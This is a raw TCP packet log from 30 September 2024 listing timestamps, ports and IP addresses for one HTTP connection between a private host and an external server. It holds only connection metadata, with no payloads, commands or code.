Sep 30, 2024 12:22:46.002232075 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002247095 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002263069 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002265930 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002278090 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002279997 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002298117 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002300024 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002315044 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002330065 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002332926 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002357960 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002367973 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002377033 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002396107 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002480984 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002501965 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002545118 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002569914 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002626896 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002634048 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002667904 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002677917 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002693892 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002721071 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002727032 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002739906 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002744913 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002763987 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002794981 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002794981 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002832890 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002908945 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002926111 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.002959013 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.002971888 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003076077 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003092051 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003108025 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003123999 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003142118 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003159046 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003168106 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003168106 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003175020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003190041 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003215075 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003215075 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003221035 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003237963 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003254890 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003263950 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003263950 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003269911 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003288031 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003298998 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003298998 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003303051 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003313065 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003321886 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003339052 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003340006 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003355980 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003360987 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003371954 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003402948 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003407001 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003407001 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003418922 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003437042 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003439903 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003453016 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003467083 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003467083 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003469944 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003489971 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003493071 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003508091 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003525972 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003537893 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003549099 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003565073 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003590107 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003601074 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003609896 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003618956 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003634930 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003649950 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003667116 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003681898 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003684998 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003684998 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003700018 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003700972 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003732920 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003748894 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003748894 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003751993 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003768921 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003786087 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003818035 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003818035 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003880978 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003882885 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003899097 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003916025 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003931999 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003947020 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003947020 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003948927 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003961086 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003966093 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003983021 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.003989935 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.003989935 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.004013062 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.004036903 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.087486982 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087521076 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087573051 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087609053 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087630033 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.087642908 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087661982 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.087694883 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.087694883 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.087696075 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087749004 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087786913 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087791920 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.087836027 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.087842941 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087892056 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.087898016 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087950945 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087973118 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.087985992 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.087996960 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088022947 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088068008 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088068008 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088080883 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088135004 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088140965 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088169098 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088186026 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088212967 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088219881 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088254929 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088260889 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088288069 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088321924 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088332891 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088332891 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088373899 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088387966 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088409901 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088424921 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088443041 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088469982 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088491917 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088495016 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088541031 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088548899 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088586092 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088602066 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088617086 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088624001 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088656902 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088670015 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088721037 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088753939 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088759899 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088759899 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088789940 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088798046 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088824987 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088850021 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088857889 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088887930 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088893890 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088902950 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088928938 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088956118 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.088965893 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.088988066 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089019060 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089042902 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089055061 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089065075 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089088917 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089103937 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089122057 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089163065 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089163065 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089164019 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089200020 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089215040 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089234114 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089252949 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089268923 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089292049 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089323997 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089333057 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089359045 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089395046 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089406013 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089406013 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089447021 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089447975 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089482069 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089493036 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089535952 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089540005 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089574099 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089605093 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089611053 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089632034 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089644909 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089652061 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089698076 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089736938 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089740992 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089740992 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089783907 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089790106 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089824915 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089850903 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089874983 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089879036 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089912891 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089951992 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.089958906 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089958906 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.089986086 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090020895 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090050936 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090054989 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090054989 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090086937 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090095043 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090138912 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090167999 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090173006 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090208054 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090234041 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090234041 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090241909 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090285063 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090290070 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090290070 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090341091 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090346098 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090394974 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090413094 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090428114 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090461969 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090487957 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090487957 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090495110 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090514898 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090531111 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090538025 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090563059 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090595961 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090599060 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090614080 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090631962 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090665102 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090670109 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090670109 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090697050 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090730906 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090739965 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090739965 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090764999 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090780973 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090800047 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090806007 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090833902 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090868950 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090869904 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090902090 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090915918 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090915918 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090936899 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090945005 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.090970993 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.090987921 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091006994 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091021061 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091042995 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091077089 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091088057 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091088057 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091111898 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091145992 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091154099 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091154099 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091181040 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091188908 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091218948 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091237068 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091249943 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091283083 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091294050 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091294050 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091317892 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091342926 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091350079 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.091365099 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.091406107 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174143076 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174217939 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174237013 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174273014 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174273968 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174308062 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174314022 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174361944 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174371004 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174432993 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174465895 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174473047 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174525023 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174559116 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174561024 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174590111 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174614906 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174623013 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174681902 CEST	52535	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:22:46.174686909 CEST	80	52535	147.45.44.104	192.168.2.4
Sep 30, 2024 12:22:46.174738884 CEST	80	52535	147.45.44.104	192.168.2.4
